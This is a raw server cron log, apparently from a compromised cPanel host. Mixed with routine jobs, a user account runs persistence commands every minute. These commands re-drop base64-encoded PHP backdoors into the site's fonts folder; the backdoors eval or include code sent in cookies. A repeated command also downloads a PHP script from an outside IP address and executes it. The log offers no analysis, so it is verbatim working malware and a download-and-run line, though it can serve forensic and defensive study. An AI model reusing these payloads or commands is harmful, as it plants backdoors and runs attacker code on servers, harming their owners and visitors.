Sep  6 13:16:01 ip-184-168-122-23 CROND[21435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:16:01 ip-184-168-122-23 CROND[21438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:16:01 ip-184-168-122-23 CROND[21436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:17:01 ip-184-168-122-23 CROND[21941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:17:01 ip-184-168-122-23 CROND[21944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:17:01 ip-184-168-122-23 CROND[21943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:17:01 ip-184-168-122-23 CROND[21945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:18:01 ip-184-168-122-23 CROND[22159]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:18:01 ip-184-168-122-23 CROND[22160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:18:01 ip-184-168-122-23 CROND[22163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:18:01 ip-184-168-122-23 CROND[22165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:18:01 ip-184-168-122-23 CROND[22167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:19:01 ip-184-168-122-23 CROND[22495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:19:01 ip-184-168-122-23 CROND[22496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:19:01 ip-184-168-122-23 CROND[22498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:19:01 ip-184-168-122-23 CROND[22497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:20:01 ip-184-168-122-23 CROND[22835]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 13:20:02 ip-184-168-122-23 CROND[22840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:20:02 ip-184-168-122-23 CROND[22841]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:20:02 ip-184-168-122-23 CROND[22843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:20:02 ip-184-168-122-23 CROND[22844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:20:02 ip-184-168-122-23 CROND[22839]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:20:02 ip-184-168-122-23 CROND[22846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:20:02 ip-184-168-122-23 CROND[22842]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 13:20:02 ip-184-168-122-23 CROND[22845]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:21:02 ip-184-168-122-23 CROND[23171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:21:02 ip-184-168-122-23 CROND[23172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:21:02 ip-184-168-122-23 CROND[23173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:21:02 ip-184-168-122-23 CROND[23170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:22:01 ip-184-168-122-23 CROND[23442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:22:01 ip-184-168-122-23 CROND[23444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:22:01 ip-184-168-122-23 CROND[23447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:22:01 ip-184-168-122-23 CROND[23446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:22:01 ip-184-168-122-23 CROND[23445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:23:01 ip-184-168-122-23 CROND[23724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:23:01 ip-184-168-122-23 CROND[23723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:23:01 ip-184-168-122-23 CROND[23722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:23:01 ip-184-168-122-23 CROND[23725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:24:01 ip-184-168-122-23 CROND[23971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:24:01 ip-184-168-122-23 CROND[23974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:24:01 ip-184-168-122-23 CROND[23975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:24:01 ip-184-168-122-23 CROND[23973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:24:01 ip-184-168-122-23 CROND[23976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:25:01 ip-184-168-122-23 CROND[24273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:25:01 ip-184-168-122-23 CROND[24274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:25:01 ip-184-168-122-23 CROND[24278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:25:01 ip-184-168-122-23 CROND[24277]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:25:01 ip-184-168-122-23 CROND[24279]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:25:01 ip-184-168-122-23 CROND[24281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:26:01 ip-184-168-122-23 CROND[24578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:26:01 ip-184-168-122-23 CROND[24582]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:26:01 ip-184-168-122-23 CROND[24583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:26:01 ip-184-168-122-23 CROND[24580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:26:01 ip-184-168-122-23 CROND[24581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:27:01 ip-184-168-122-23 CROND[24869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:27:01 ip-184-168-122-23 CROND[24871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:27:01 ip-184-168-122-23 CROND[24874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:27:01 ip-184-168-122-23 CROND[24875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:28:01 ip-184-168-122-23 CROND[25231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:28:01 ip-184-168-122-23 CROND[25234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
